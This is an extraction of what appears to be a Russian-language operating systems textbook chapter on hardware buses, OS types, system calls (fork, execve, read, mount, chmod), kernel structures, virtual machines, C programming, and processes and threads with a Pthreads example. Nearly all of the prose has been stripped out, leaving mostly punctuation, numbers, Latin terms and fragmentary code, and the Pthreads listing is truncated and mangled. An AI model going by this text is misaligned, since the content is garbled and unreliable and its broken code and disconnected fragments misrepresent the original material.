DMA, , ,
,
. DMA
, ,
. DMA -
5.
,
.
. , , ,
, ,
.
, ,
, , . , ,
. .
1.3.6.
, . 1.6, -, IBM PC.
(, , IBM PC)
.
- . -,
. x86-
, . 1.12.
(, -, ,
PCIe, PCI, USB, SATA DMI),
.
. PCI (Peripheral Component Interconnect
).
56
1.
1.3.
57
DDR3
PCIe
DDR3
DMI
PCIe
PCIe
PCIe
SATA
PCIe
USB 2.0
USB 3.0
PCIe
Gigabit Ethernet
PCIe-
. 1.12. x86
USB , ()
- , ,
. USB 1.0
12 /, USB 2.0 480 /, USB 3.0 5 /. USB-
,
, USB,
.
SCSI (Small Computer System Interface )
,
, , . . 640 /.
, . 1.12,
, , . Intel Microsoft
PC- , plug and play
( ). , Apple Macintosh. plug and play -
-. , 1
58
1.
- 0x60 0x64; 6
- 0x3F0 0x3F7; 7
- 0x378 0x37A . .
. , ,
, , 4. ,
. - DIP, (jumpers).
- ,
, .
,
. , ,
, .
plug and play
-, -, ,
. ,
, , .
1.3.7.
. (
)1. ,
- BIOS (Basic Input Output System). BIOS
-,
, ,
, -. - ,
BIOS .
BIOS . ,
.
PCIe PCI
. (
plug and play). - (,
-, ). . , plug
and play, . ,
,
.
1
1.4.
59
BIOS , ,
, CMOS-.
,
BIOS. - (
- USB), , , .
.
, .
,
, , .
, .
BIOS,
. .
, -
( )
. , . ,
.
1.4.
.
,
.
.
.
1.4.1.
( ) , .
- . , , ,
. -,
- , .
, - . :
, .
.
.
,
.
60
1.
, .
,
. ,
.
OS/390,
OS/360.
UNIX, Linux.
1.4.2.
. , ,
.
, . ,
-. - . -
- . Solaris, FreeBSD, Linux Windows
Server 201x.
1.4.3.
, ,
. , ,
, , .
,
, ,
.
. ,
, . ,
,
. ,
. , Windows Linux.
1.4.4.
.
.
.
1.4.
61
.
, , . Linux, FreeBSD, Windows 7,
Windows 8 OS X Apple.
, . ,
, .
1.4.5.
,
, . , , PDA (Personal Digital Assistant
), ,
.
. ,
Android Google iOS Apple, . , GPS, ,
. , (apps)
USB-, .
1.4.6.
,
.
, . ,
, ,
, , DVD, MP3-. ,
.
, . ,
. Embedded Linux, QNX VxWorks.
1.4.7.
, , , .
,
, ,
,
.
, .
, .
62
1.
,
.
, , ,
. ,
,
.
,
. , , ,
, .
TinyOS.
1.4.8.
.
, . , , ,
.
. ,
,
. , ,
, .
( ),
. , -
, .
,
.
, , - , .
- . .
,
,
,
. eCos.
,
.
. ,
;
, .
,
1.5.
63
. ,
, .
1.4.9. -
-. -
,
. . - ,
, -
, .
- , , -.
.
- Java. ,
- Java Virtual Machine (JVM Java). Java- ( ),
JVM-.
Java-,
.
,
( , ).
1.5.
, , ,
. ,
, . .
, UNIX. , , .
1.5.1.
. ,
, .
, . , .
, ,
( ), , , ,
. , ,
, .
64
1.
2, ,
, ,
. -
( ),
. , .
( ) : , -
() .
, , - ,
.
,
, . ,
- . , . (
, ).
, , read,
, .
, ,
, ( ) ,
.
, ( )
, ,
, ,
.
, , , .
. , , ,
. , . ,
. ,
.
( ), , ,
. 1.13. , -
,
.
2.
, ,
( ),
-
.
1.5.
65
. 1.13. . A , B C.
B , D, E F
,
.
, , ,
. ,
,
, .
.
,
. ,
, , , . ,
, . .
, ,
. (,
)
, .
, , (User IDentification (UID)).
UID , .
UID, . - ,
(Group IDentification (GID)).
UID, UNIX
(superuser), Windows (administrator), ,
.
,
, ( ) , ,
1.
1
, , . (,
). . .
66
1.
,
2.
1.5.2.
, .
.
, .
. ( ), - . , .
. , , ,
.
, ,
. , , . ,
.
32- 64- , 232 264 .
,
, ,
? .
, , ,
, , . ,
, .
, .
, 3.
1.5.3.
,
, . ,
-
,
. , , ,
.
, , . .
, .
1.5.
67
,
( , ),
-.
. . ,
.
, . 1.14.
. 1.14.
, , ,
. (
), ,
. ,
, .
. , ,
,
.
, ,
,
. ,
, , -
68
1.
1.5.
69
. ,
, .
, , 4,
.
, ,
.
/dev. , /dev/lp ( - line printer).
. 1.15. -: ;
,
, . ,
(. 1.16). A B , .
A B, ,
. . B ,
, . ,
UNIX . , ,
, , .
. 1.16. ,
.
4, 10 11.
1.5.4. -
. , ,
70
1.
? -: , , . .
.
-. -
,
-. , , -.
- 5.
1.5.5.
,
. , ,
-, . : ,
, .
,
UNIX. UNIX 9- . .
, ,
( ),
. , , , , , .
rwx- (read, write, execute). , rwxr-x--x
, , ,
( ),
( ). x . () ,
.
.
,
(, ). ,
, 9.
1.5.6.
, . , , , ,
. ,
UNIX,
shell. ,
.
, ,
, . ,
1.5.
71
date
date. , .
.
,
, ,
date >file
sort <file1 >file2
cat
sort, .
sort /dev/lp, .
&, , . ,
cat file1 file2 file3 | sort >/dev/lp &
,
.
, .
UNIX (, Kernighan and Pike,
1984; Kochan Quigley, 2004; Robbins, 2005).
. ,
( ),
. Linux ,
, : Gnome KDE.
, X11. Windows 1
, , . . .
72
1.
(Windows Explorer) -
,
.
1.5.7.
,
(Ernst Haeckel) :
. , , ()
(). ,
, ,
, . .
, .
. ,
(, -, ,
, , - . .)
, . ,
. , ,
, , .
,
, ,
. , ,
.
, - . . ,
. , , -, .
, - .
, - . ,
- .
, ,
.
.
,
.
, .
- . . ( IBM 360),
1.5.
73
.
, . RISC-, (
) ,
.
Java-, .
. ,
,
.
.
. IBM 7090 7094, 1959
1964 , 128 .
,
, .
, FORTRAN COBOL, , .
- (PDP-1),
4096 18- , . - ,
.
1980- , 4 , .
, (8080, Z80,
8086), .
, , , C, C++, Java . -
, , , Java Java- ,
Java, .
IBM 7090/7094 ,
,
. IBM 360
, , (
). .
, -,
, .
74
1.
. , ,
. . ,
IBM 1956 RAMAC (RAndoM Access,
). 4 2
5 7- , . 35 .
1.6.
75
, ,
, .
, .
CDC 6600,
1964 ,
.
, , , ,
, data .
.
, , ,
MULTICS.
-,
. PDP-11 1970
RK05 2,5 ,
IBM RAMAC, 40 5 .
. ,
CP/M,
.
( 3) ,
,
. ,
, - .
,
. MULTICS ,
. UNIX- Windows-.
, , (
, , . .),
, .
,
,
, .
1.6.
, : .
, , : , ,
76
1.
.
.
. - ,
, .
( ).
(
) -
( UNIX , :
, ,
).
. , ,
. , , POSIX (
9945-1), UNIX, System V, BSD, Linux, MINIX 3 . .,
,
, .
,
, , ,
, C.
. . - , ,
, . ,
.
, . ,
, , .
,
read. , :
, , ,
. ,
C ,
: read. C
:
count = read(fd, buffer, nbytes);
( )
, count.
nbytes, , , ,
.
-
, count 1, -
1.6.
77
errno.
, .
. read. ,
read,
read, (. 1.17, 13).
C C++ , ( printf ).
, , (
&), .
( 4).
.
, , , , ,
( 5). TRAP
, , ( 6). TRAP
,
,
.
78
1.
TRAP . -, , .
. -, TRAP
, .
TRAP ( . 1. 17)
, .
, ( 7).
( 8).
, , , ,
TRAP ( 9). ( 10).
read, , , ( 11).
( ),
, ,
read. .
9 , , .
, . ,
, .
, . , ,
9- 11-.
POSIX, , , , . POSIX 100 ,
.
. 1.1.
.
, , ,
(
, ,
). , , , , , ,
.
, POSIX . POSIX , , ,
: ,
- .
1.6.
79
( ),
.
POSIX , . ,
,
.
1.1. POSIX1
pid = fork()
exit(status)
fd = open(file, how...)
s = close(fd)
s = stat(name, &buf)
s = mkdir(name, mode)
s = rmdir(name)
s = link(name1, name2)
name2,
name1
s = unlink(name)
s = umount(special)
s = chdir(dirname)
s = chmod(name, mode)
s = kill(pid, signal)
seconds = time(&seconds)
, 1 1970
s 1. : pid id , fd ,
n , position seconds .
.
80
1.
1.6.1.
. 1.1 .
fork (). fork POSIX .
, , . .
fork (
) . ,
,
. ( , ,
.) fork
PID .
PID, , , .
fork
, .
. , , ,
, ,
. waitpid, , (
, ). waitpid
,
1. waitpid , , statloc,
( ).
.
, fork .
, . , execve,
, . (
exec,
.
.) 1.1
fork, waitpid execve .
1.1. ,
#define TRUE 1
while (TRUE) {
/* */
type_prompt( );
/* */
read_command(command, parameters); /* */
if (fork( ) != 0) {
/* */
/* */
waitpid(-1, &status, 0); /* */
} else {
/* */
1.6.
81
, TRUE 1.
execve : , .
. ,
execl, execv, execle execve, .
exec ,
.
:
cp file1 file2
file1 file2. cp
.
cp ( )
main(argc, argv, envp)
argc , .
argc 3.
argv . i
i- .
argv[0] cp, argv[1] file1, argv[2]
file2.
main envp
, = ,
, .
, .
(, , ). 1.1
, execve .
exec , ( ) POSIX .
. exit,
, .
(0255), statloc waitpid.
UNIX : (
), () .
. 1.18, , .
.
. -
82
1.
. 1.18. :
,
. brk,
. POSIX ,
malloc. malloc ,
, , -
POSIX brk.
1.6.2.
.
, ,
, .
,
. ( ) O_RDONLY,
O_WRONLY O_RDWR, , ,
. O_CREAT.
. close,
open.
, , read write.
read , write .
,
. . () ,
() . lseek
, read write
.
lseek : ,
, , , -
1.6.
83
. lseek
( ) .
UNIX : (
, , . ., ), , .
stat.
, ,
, .
fstat.
1.6.3.
,
, , . mkdir rmdir
. link.
, .
, , ,
.
, , .
; , ,
, , .
.
, link, ,
. 1.19, a. ast jim
, . ast ,
link("/usr/jim/memo", "/usr/ast/note");
84
1.
.
unlink , .
, UNIX , (
i- ),
.
, mount . : ( )
, ()
,
( ).
USB- .
mount USB- (. 1.20). C , () , :
mount("/dev/sdb0", "/mnt", 0);
USB- 0,
, , ,
.
mount 0
, , .
, . mount
, , .
1.6.
85
-, ( partition) .
-.
, umount.
1.6.4.
.
. chdir .
chdir("/usr/ast/test");
xyz /usr/ast/test/xyz.
.
UNIX , i-
. - (read-write-execute) , . chmod .
, , ,
:
chmod("file", 0644);
kill . , . ,
( :
kill , ).
POSIX . , time
, 0 (,
) 1 1970 . , 32-
, , time, 232 1 (, unsigned
integer). 136 . ,
2106 32- UNIX ,
2000 (Y2K). 32- UNIX-,
2106 64-.
86
1.
- , .
, ,
USB-. ,
.
, UNIX,
,
.
, Windows . UNIX
(, read)
( read), .
, , , (. 1.17).
POSIX 100 .
Windows . ,
. Microsoft , Win32 API
(Application Programming Interface ).
,
.
Windows, Windows 95. API-
, Microsoft
( ),
. Win32 , Windows ,
. Win32
, Windows. Win32 Windows.
Win32 API .
, , ,
. , Windows ,
( ), . ,
Windows, ,
. Windows
, , Win32, Microsoft , . ,
( ).
Win32 API , , , , , ,
.
( ,
Windows), ,
.
?
, , , ,
. , Win32 API,
1.6.
87
Win32
CreateProcess
WaitForSingleObject
ExitProcess
CreateFile
CloseHandle
ReadFile
WriteFile
SetFilePointer
GetFileAttributesEx
CreateDirectory
RemoveDirectory
DeleteFile
SetCurrentDirectory
kill
time
GetLocalTime
CreateProcess=fork+execve
Win32
Win32
Win32
Win32 ( NT )
Win32
UNIX-, .
, , , UNIX.
88
1.
SetFilePointer GetFileAttributesEx
.
Windows ,
CreateDirectory RemoveDirectory . , SetCurrentDirectory.
GetLocalTime.
Win32 , , , , , , UNIX. , Win32 , UNIX,
. Windows Vista ,
1. Windows 7 8
.
, Win32 . Win32
.
16- , Windows 3.x.
1.7.
, , (
, ), . ( ) ,
.
,
, . , , , , .
1.7.1.
, .
. ,
. ,
- , .
, ,
, . ,
.
1
1.7.
89
( , ),
, . , ,
( , ,
).
. ( ), ,
(, ),
trap. ( 6
. 1.17). ,
.
, k , k ( 7 . 1.17).
:
1. , .
2. , .
3. , .
, .
, ,
. ,
(. 1.21).
. 1.21.
, , ,
- . . UNIX
. Windows DLL- (Dynamic-Link
90
1.
1.7.2.
, . 1.21,
, . , , THE,
Technische Hogeschool Eindhoven . (E. W. Dijkstra)
1968 . THE
Electrologica X8, 32 K 27- .
. 1.3, . 0 ( ),
.
0 ,
,
. , 0
.
1.3. THE
1 .
512 ,
(), .
, ,
. 1
, , ,
.
2 ( ).
. 3 - .
-,
. 4 ,
, , -.
5.
MULTICS.
MULTICS ,
1.7.
91
(, , ). ,
, TRAP,
,
. MULTICS
,
( )
, .
, THE , , MULTICS
.
,
. ,
n, n + 1,
.
1.7.3.
,
.
, .
, , . :
, .
1000
(, Basilli and Perricone, 1984; Ostrand and Weyuker, 2002).
, , 10 1000 .
, , 5 000 000 ,
, 10 000 50 000 . ,
, , .
,
( ), ,
, ,
.
, ,
,
. ,
. ,
, ,
92
1.
. ,
, .
, ,
.
(Haertig et al., 1997; Heiser et al., 2006; Herder et al., 2006; Hildebrand, 1992;
Kirsch et al., 2005; Liedtke, 1993, 1995, 1996; Pike et al., 1992; Zuberi et al., 1999). OS X, Mach (Accetta et al., 1986),
. , , ,
. Integrity, K42, L4, PikeOS,
QNX, Symbian MINIX 3. MINIX 3, , . MINIX 3
POSIX- ,
www.minix3.org (Giuffrida et al., 2012; Giuffrida et al., 2013; Herder et
al., 2006; Herder et al., 2009; Hruby et al., 2013).
MINIX 3 12 000 C
1400 , , .
,
( )
40 , .
,
. MINIX 3
. 1.22, Sys.
, .
.
, .
. ,
- . , -,
, , -
. , ,
. , -, .
( ),
.
, , . .
( ), , . . -
1.7.
93
. 1.22. MINIX 3
, POSIX.
, , read,
, , .
(reincarnation server), . -
. ,
.
. ,
-.
.
. ,
,
. ,
, , . , .
, , , , .
, .
. , ,
. , , ,
. , , .
94
1.
1.7.4. -
: , - , ,
. -. , .
.
. , , , ,
. .
, , .
, (. 1.23). , ,
, ,
, .
, ,
: . , ,
, , .
. 1.23. - ,
, ,
, , ,
- , .
. - , - .
- .
1.7.5.
OS/360 .
IBM/360
,
IBM,
. -
1.7.
95
TSS/360, - ,
,
. ,
50 (Graham, 1970).
VM/370
IBM Scientific Center () , IBM
. , CP/CMS,
VM/370 (Seawright and MacKinnon, 1979), : ,
-, , -,
, . VM/370
.
, , ,
, (. 1.24). ,
,
. . ,
, -, ,
.
, , .
,
. VM/370
OS/360 ,
CMS (Conversational Monitor System
) .
CMS
,
, VM/370,
, . CMS ,
96
1.
. - VM/370, .
,
.
z/VM , , CMS. , zSeries
Linux, IBM.
IBM
, Oracle Hewlett-Packard, ,
, ,
. ,
.
. , -, FTP- ,
.
.
-.
1 ( , )
( , , -).
, - (-),
, , .
, ,
, (
).
,
, Windows Linux,
. . 1.25, ,
(type 1 hypervisor),
- . .
1
. . .
1.7.
Windows
Linux
...
97
. 1.25. : 1; , 2;
, 2 ()
, . ,
(Popek and Goldberg, 1974). .
, ( ), , PSW
-, ,
, . , Pentium,
,
.
,
x86. , Pentium, Bochs,
,
- .
1990- - , Disco (Bugnion et al., 1997) Xen
(Barham et al., 2003).
(, VMware Workstation Xen), .
VMware Xen KVM ( Linux), VirtualBox ( Oracle) Hyper-V (
Microsoft).
Bochs
,
. , (machine
simulators) (. 1.25, ). ,
(binary translation), , ,
,
- ,
.
(. 1.25, ) . , , VMware
98
1.
Workstation, (
). 2, (
) , ,
1.7, , . 7 ,
VMware Workstation .
1 2 , 2 , . .
(host operating system) . 1
.
2 - (
-) (guest operation
system) ,
.
1 ,
.
,
, , . ,
,
, .
.
, .
7.
Java
, , Java. Sun Microsystems Java, (
), JVM (Java Virtual Machine
Java). Java JVM, JVM. ,
JVM ,
JVM-, .
, SPARC x86,
. (, Sun , SPARC, SPARC, JVM .) JVM ,
, , JVM-
,
, .
1.8. C
99
1.7.6.
, ,
, , ,
.
0 1023,
1024 2047 . .
, ,
(Engler et al., 1995). ,
.
, VM/370 Pentium
8086, , , .
, . ,
0 .
( ). . ,
. ( ) ( ) ,
.
1.8. C
, , , C ( C++), ,
. ,
, , (, ) Java.
Java-.
1.8.1.
,
C , Pyton Java. Java C,
. Pyton, , .
Java. Java, Pyton,
, . C integer
( short long), char
float. , . C , Java, if, switch, for while.
100
1.
. , C,
Java Pyton, . ,
( ). :
char c1, c2, *p;
c1 = 'c';
p = &c1;
c2 = *p;
c1 c2 p , ( ).
ASCII- c c1. c1
- p. ,
p, c2,
c2 ASCII- .
,
, , .
,
.
C , , , , , .
. C
, , malloc free.
C .
,
. ,
- ,
.
.
1.8.2.
,
, , .c ( .c, .-).
.
, .h ( .h, .h-).
, -.
, :
#define BUFFER_SIZE 4096
.
BUFFER_SIZE , 4096. C
, 0, 1 1, .
, :
1.8. C
101
i = max(j, k+1)
i = (j > k+1 ? j : k+1)
j k + 1 i.
, :
#ifdef X86
Intel_int_ack();
#endif
intel_int_ack,
X86, .
- ,
,
x86, , SPARC,
. . #include .c
. ,
.c. .
1.8.3.
.c C . , , .o (.o-),
. .
C Java Pyton.
C C. .c #include
, ,
(
), ,
.c-.
(
5 000 000 ),
.
,
, .
.
, . UNIX make ( ,
gmake, pmake . .), Makefile, . make .
, ,
102
1.
, . ,
-
( ), . ,
. make , .c
, C ,
. Makefile ,
, .
.o , ,
. .
,
. ,
, UNIX- a.out.
,
C ,
. 1.26. , .
. 1.26.
: , ,
1.8.4.
,
.
1.9.
103
, ,
.
: ( ), .
, .
, , (
). ,
. ,
, , , . -.
, , just-in-time-
( ),
Java.
1.9.
,
. -
, ,
. , ,
. ,
2030 .
, 1958
Advanced Research
Projects Agency (ARPA),
.
. ARPA
,
ARPANET.
1969 . ARPANET ,
ARPA, .
20 . 1990- - (Tim Berners-Lee)
CERN World
Wide Web, (Marc Andreesen)
. , ( , ).
. ,
,
1960- -
104
1.
. ,
1960- (Doug Engelbart) .
, ?
, ,
510 , , .
,
, . ,
, ,
, . , , , ACM, IEEE Computer Society USENIX
.
:
ACM http://www.acm.org
IEEE Computer Society http://www.computer.org
USENIX http://www.usenix.org
,
, , ,
( ). ,
, . ,
, (Renzelmann et al., 2012; Zhou et al., 2012),
(Correia et al., 2012; Ma et al., 2013; Ongaro et al., 2011; Yeh and Cheng, 2012),
(Pathak et al., 2012; Petrucci and Loques, 2012; Shen et al.,
2013), (Elnably and Wang, 2012; Nightingale et al., 2012; Zhang
et al., 2013), - (De Bruijn et al., 2011; Li et al.,
2013; Rizzo, 2012), - (Liu et al., 2011),
(Giuffrida et al., 2013), (Rossbach et al., 2011),
(Jantz et al., 2013; Jeong et al., 2013),
(Baumann et al., 2009; Kapritsos, 2012; Lachaize et al., 2012; Wentzlaff et al., 2012),
(Elphinstone et al., 2007; Yang et al., 2006; Klein et
al., 2009), (Hruby et al., 2012; Ryzhyk et al., 2009, 2011;
Zheng et al., 2012), (Dunn et al., 2012; Giuffrida et
al., 2012; Li et al., 2013; Lorch et al., 2013; Ortolani and Crispo, 2012; Slowinska et al., 2012;
Ur et al., 2012), (Harter et al., 2012;
Ravindranath et al., 2012), (Agesen et al., 2012; Ben-Yehuda et al.,
2010; Colp et al., 2011; Dai et al., 2013; Tarasov et al., 2013; Williams et al., 2012).
1.10.
. . ,
1.11.
105
, ,
.
.
2 .
. , ,
.
3 , ,
.
.
4 .
, , . .
5 - . . : , .
6 .
, .
.
. , . 7 .
,
. ,
.
, ,
. 8.
.
9. , , (, ), .
.
UNIX, Linux Android ( 10) Windows 8 ( 11). 12
, .
1.11.
, , , .
. 1.4. ,
1, . , 1 1012 , 100
1010 . - - ,
106
1.
- ,
- .
1.4.
103
106
109
1012
1015
1018
1021
1024
0,001
103
0,000001
106
0,000000001
109
0,000000000001
1012
0,000000000000001
1015
0,000000000000000001
1018
0,000000000000000000001
1021
0,000000000000000000000001 1024
1000
1 000 000
1 000 000 000
1 000 000 000 000
1 000 000 000 000 000
1 000 000 000 000 000 000
1 000 000 000 000 000 000 000
1000 000 000 000 000 000 000 000
1.12.
: .
.
,
. , .
, 2 . , 210 (1024)
1 KiB 1 . , ,
. . .
107
, ,
, .
,
.
,
. , -.
.
, , , , - ,
. .
,
. , .
UNIX. .
. .
.
. , , , , .
1. ?
2. 1.4 . (
).
3. ?
4. - -,
32 64 . -.
?
5. (
DMA). ?
6. , -,
,
, .
.
7. 60-
IBM System/360. ?
108
1.
8. ,
, , .
, 25 80 ?
1200 900
24 ?
1980 ( $5 )? ?
9. , ,
, , . .
, .
10. ? ,
.
11. 255 65 536 255
512 .
? , 11 ,
7 , 100 /, ,
400 .
12.
:
) ;
) ;
) ;
) ?
13. , ,
( ). ,
: P0, P1 P2 5, 10 20 . ?
,
100 %, , .
14. ,
1 .
?
15. , -, ,
, . - 1 , 10 , 10 .
- 95 %, (
-) 99 %, ?
16. , , ,
.
, -
109
. ,
, . ,
(
). ? ?
17. trap? .
18. ?
,
UNIX Windows ?
19. - ,
? , ?
20. ,
: fork, exec unlink.
21. ( ,
)
: , , , , , ?
22.
count = write(fd, buffer, nbytes);
count , nbytes? ,
?
23. , fd, : 3, 1, 4, 1, 5, 9, 2, 6, 5, 3, 5. :
lseek(fd, 3, SEEK_SET);
read(fd, &buffer, 4);
lseek .
, read?
24. , 10
( 50) . 100.
? ,
1 , ,
, 5 . ,
200 /.
25.
?
26. , . 1.17, read,
read. , ?
, ?
27.
. .
28. ,
. ,
110
1.
? ,
?
29. . 1.2 , UNIX
Win32 API. UNIX
Windows ( ,
)?
30.
- . , , .
,
.
31. , , .
32. .
. .
33. :
1) ?
2) . ?
3) 1 ?
4) 6000 (). ?
34. , 1.1,
, .
,
, .
35. UNIX- (Linux, MINIX, FreeBSD
. .), , ,
, , . sync,
.
: ( )
. ,
.
36.
UNIX Windows c od UNIX
DEBUG MS-DOS.
: , . :
USB- ,
, ,
.
2.
. :
, .
, , (
) .
,
. () .
.
.
, .
2.1.
, , . ,
, , ,
. -.
, -. ,
, . ,
; , .
.
.
,
, . ,
- , .
( ).
. , . ,
, .
- . , , USB-,
, . ,
, .
112
2.
, .
, 1
, .
( , ).
, .
, . ,
.
2.1.1.
,
, , ,
, . , , . , , . ,
, , , () , ,
.
, 1, ,
.
. 2.1, ,
. . 2.1, ,
(
) . ,
, .
,
, .
. 2.1, ,
,
.
, . , , , .
8,
,
. , , , ( ), .
2.1.
113
. 2.1. : , ;
;
, ,
, , ,
, .
- . , ,
,
, .
, , 10 000 .
, ,
,
, , , , .
, ,
, ,
. , , ,
.
, .
, , - . ,
.
, : , , ,
. . ( , ), ,
. ,
, .
, ,
. , (
),
. ,
() , ( ),
114
2.
( ).
,
, .
, . , .
, ,
.
.
, , ,
. ,
, .
, , , .
,
, ,
, .
2.1.2.
- .
,
(, ),
.
.
, .
1. .
2. ,
.
3. .
4. .
, , .
, ,
. ,
, . , , , ,
. ,
-, ,
. , - , ,
, , -, ,
. ., .
2.1.
115
. UNIX1
ps. Windows
.
, , . ,
.
, ,
. ,
, ,
, .
,
.
( ) . .
UNIX- X- ,
. Microsoft Windows ,
, . ,
- . ,
, , ,
.
, ,
, . .
(, ). ,
,
.
, ,
. , , ,
.
.
,
.
UNIX
fork. .
fork , ,
1
UNIX ,
POSIX, Linux, FreeBSD, OS X, Solaris . ., , ,
Android iOS.
116
2.
, .
.
, execve .
, sort, , sort.
,
,
execve ,
.
Windows : Win32 CreateProcess
, .
10 , ,
, , , , , ,
( ), ,
. CreateProcess Win32 100
, ,
.
, UNIX Windows, , . - ,
. UNIX
, ,
. UNIX
. ,
, (copy on write), ,
, . , ,
, .
, . Windows
.
2.1.3.
. , . ,
:
();
();
();
().
2.1.
117
.
, , . UNIX exit, Windows ExitProcess. , ,
. , -
, , ,
, .
. ,
cc foo.c
foo.c, ,
. ,
. .
, ,
.
, . (, UNIX)
, ,
, (),
.
, - ,
,
. UNIX kill.
Win32 TerminateProcess. ,
, .
. UNIX, Windows .
2.1.4.
, ,
. - ,
. , , , , ( ,
, ). , , , , .
UNIX ,
. ,
, ( , ).
, , .
118
2.
, , , , UNIX
.
, init. ,
. ,
. , - . ,
. . .
, ,
init.
Windows , .
, , ( ),
.
- , . UNIX
.
2.1.5.
,
,
. , .
cat chapter1 chapter2 chapter3 | grep tree
, cat, . , grep, ,
tree.
( :
)
, grep ,
. .
- , , , , , .
, ,
, ,
.
. ( ,
).
( , ). . 2.2 ,
, :
( );
(, , );
2.1.
119
( , -
).
.
,
. ,
,
.
. 2.2. , .
, . 1 , ,
.
,
pause. , UNIX,
(, )
, .
2 3 ,
, - . 2 , ,
. 3 ,
. ,
, , ,
.
. .
4 , , ( , ).
, 3 .
,
.
,
. , , . ,
,
. ,
120
2.
, . , ,
, , . .,
, - .
, , ,
.
, . 2.3.
,
. , , , ,
.
.
.
. 2.3.
.
2.1.6.
(
), , - . ( .) ,
, , ,
, ,
, , ,
, .
. 2.1 .
.
. ,
,
.
, , , , ( ) .
( ),
-, .
, . ,
3.
2.1.
121
2.1.
, ,
.
, .
, .
,
. ,
,
, . , ,
(, C),
, ,
, .
, C-,
. ( , C,
.) ,
, -
, ,
. ,
,
. . 2.2. ,
.
122
2.
2.2.
1
. .
C, ( ,
)
,
,
, , .
2.1.7.
. , 20 % ,
.
,
,
- -.
. , p
-.
n , n ( ), pn.
= 1 pn.
. 2.4
n, .
, 80 %
-, 10 %
10 . ,
- ( ), ,
-, 80 % ,
. ,
-, .
, . ,
2.2.
123
. 2.4.
,
n , ,
. , , ,
, . -
. , ,
, - ,
, . 2.4.
, . 2.4,
, , . ,
, 8 ,
2 ,
2 . . -, 80 % ,
(
), 1 0,83, 49 %.
8
, 79 %.
, 8 30 %.
8
79 91 %, 12 %. , ,
, ,
.
2.2.
.
124
2.
. ,
,
,
( ). .
2.2.1.
- ? -, ,
. . , , .
, .
. . , , .
, , :
.
,
( ).
( )
. 10100 , .
,
.
.
,
, , -,
, .
, , , .
8.
, ,
. .
,
. ,
, ,
(,
, ).
, - . , ,
. . .
,
2.2.
125
, , . ,
xxxx , xxxx
xxxx. , , ,
.
300 , .
, , 800- . ,
, 600- ,
(, , ).
600- , , 600- ,
. 600-
, .
. ,
. , .
, ,
, , ,
.
, ,
. , ,
600- , .
, ?
,
.
, . , , . 2.5.
. 2.5. ,
126
2.
. .
, , ,
,
. , , .
.
. .
, , .
, ,
. .
.
, ,
, .
. , . ,
, , ,
, , .
.
, : -.
-, . -
. , - Sony ,
, , ,
- . -
,
.
. 1.
- . 2.6.
.
( )
, , , . ,
.
,
-, . , , -, ,
. , , , , , , ,
.
2.2.
127
. 2.6. -
.
.
, - . , . , ,
.
. 2.7. , , TRUE 1. buf page , - .
. 2.7. , . 2.6:
-;
, - . . -
, .
, . -
, , ,
, .
, . ,
128
2.
, ,
.
:
-. , , , .
read,
. - .
, , ,
.
, . ,
, . ,
. , . - , , .
,
, .
.
. ,
,
,
(finite-state machine), . .
, , , . , (, -),
.
, . ,
.
,
, . . 2.3.
2.3.
, ,
, , , .
2.2.
129
, , .
, , . ,
.
.
, .
. , .
. , ,
. , ,
, .
2.2.2.
,
. : . ,
.
, , Linux,
.
,
. ,
, . , , ,
. . ,
.
. , ,
. , . ,
, .
- , .
, , .
. ,
, , .
.
, , .
, .
,
. 1
,
130
2.
.
. 2.8, . . ,
. 2.8, , .
, . 2.8,
, . 2.8, .
. 2.8. , ;
,
, . . 2.1 .
. .
, ,
, , . ,
, ,
, ,
.
, . , ,
.
, ,
.
, . ,
,
, , -,
, .
2.2.
131
, . 2.4,
, , . .
, . 2.8, , ,
, , . 2.8, ,
,
.
2.4.
,
, . ,
, , ,
-. , ,
. , , . .,
.
,
- .
( ),
: , ,
.
. ,
, . , , ,
- . -
. , .
(. . 2.2).
, (. 2.9). ,
.
. , X
Y, Y Z, Z
X, Y Z. , ,
, , ,
. .
132
2.
. 2.9.
,
. , , thread_create. thread_create
, . ( )
- , .
, , .
, .
,
, thread_exit.
. - - () ,
thread_join. ,
() .
.
, , thread_yield.
.
,
.
,
. , - ,
, , . .
,
. , -
2.2.
133
fork, UNIX.
, ? ,
- ,
.
, , , -
read, , ,
? , , ? ,
? ? ,
?
.
, . ,
, ? ,
. ,
. , .
,
.
2.2.3. POSIX
,
IEEE IEEE standard 1003.1c.
, , Pthreads. UNIX-. 60 . .
, , . . 2.5 , .
2.5. Pthreads
,
pthread_create
pthread_exit
pthread_join
pthread_yield
pthread_attr_init
pthread_attr_destroy
Pthreads . , ( ) ,
. ,
, .
134
2.
pthread_create.
. fork ( ),
PID,
.
,
pthread_exit. , .
. pthread_join,
. , .
, , ,
, .
pthread_yield.
, ,
. , ,
, ,
.
, , . pthread_attr_init , , . (, )
.
, pthread_attr_destroy , , , . , , , .
, Pthread,
, 2.1.
, NUMBER_OF_THREADS ( ),
. ,
.
.
2.1. ,
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#define NUMBER_OF_THREADS 10
void *print_hello_world(void *tid)
{
/* , */
printf(", . %d\n", tid);
pthread_exit(NULL);
}
2.2.
135
%d\n"",
}
exit(NULL);
}
, , . ,
, .
Pthreads , . , , .
2.2.4.
:
. ,
.
.
.
. , ,
. ,
, . , , .
.
(. 2.10, ). (run-time system), , . : pthread_create,
pthread_exit, pthread_join pthread_yield ,
.
, , ,
. , ,
136
2.
. 2.10. : ;
, ,
, , , , . .
.
, ,
, , ,
.
- ,
, , , .
, .
, ( )
, , ,
.
, .
,
. ,
, , , ,
, ,
, .
. , thread_yield,
thread_yield . , ,
. , , ,
, . ,
2.2.
137
, trap, ,
. .
.
, , .
. , ,
, ,
. ,
,
.
, , , .
. ,
- . ,
.
, ,
. , ,
.
(, ,
), ,
, . , , ,
,
. read
.
, , ,
. UNIX
select, , read . ,
read ,
select read, (
). read , .
. ,
, ,
read .
,
, .
, , (jacket), , (wrapper).
. 3.
, , .
( ), , -
138
2.
( ). . , .
, , ,
, ,
-, .
, ,
: ,
, , ,
.
,
().
, .
() ,
.
, ,
. , , .
, , ,
, , , , -.
. , , ,
,
select, read.
, , ,
?
n
, .
2.2.5.
, , . . 2.10, , . .
, ,
.
, , .
, , ,
. , , ,
, (
2.2.
139
). ,
, .
.
, , ,
,
. ,
( ), .
,
,
( ).
,
.
, ,
. , ,
, .
,
, .
, , , . ,
,
,
.
, , (, . .) ,
.
, , , . , , ?
, , ?
, . exec,
, , , .
, , ,
.
. ,
, , , .
? , ,
, ?
: ,
? , ,
.
140
2.
2.2.6.
. (. 2.11) ,
. ,
.
.
. 2.11.
,
. , . , ,
, ,
, .
,
.
2.2.7.
, , , .
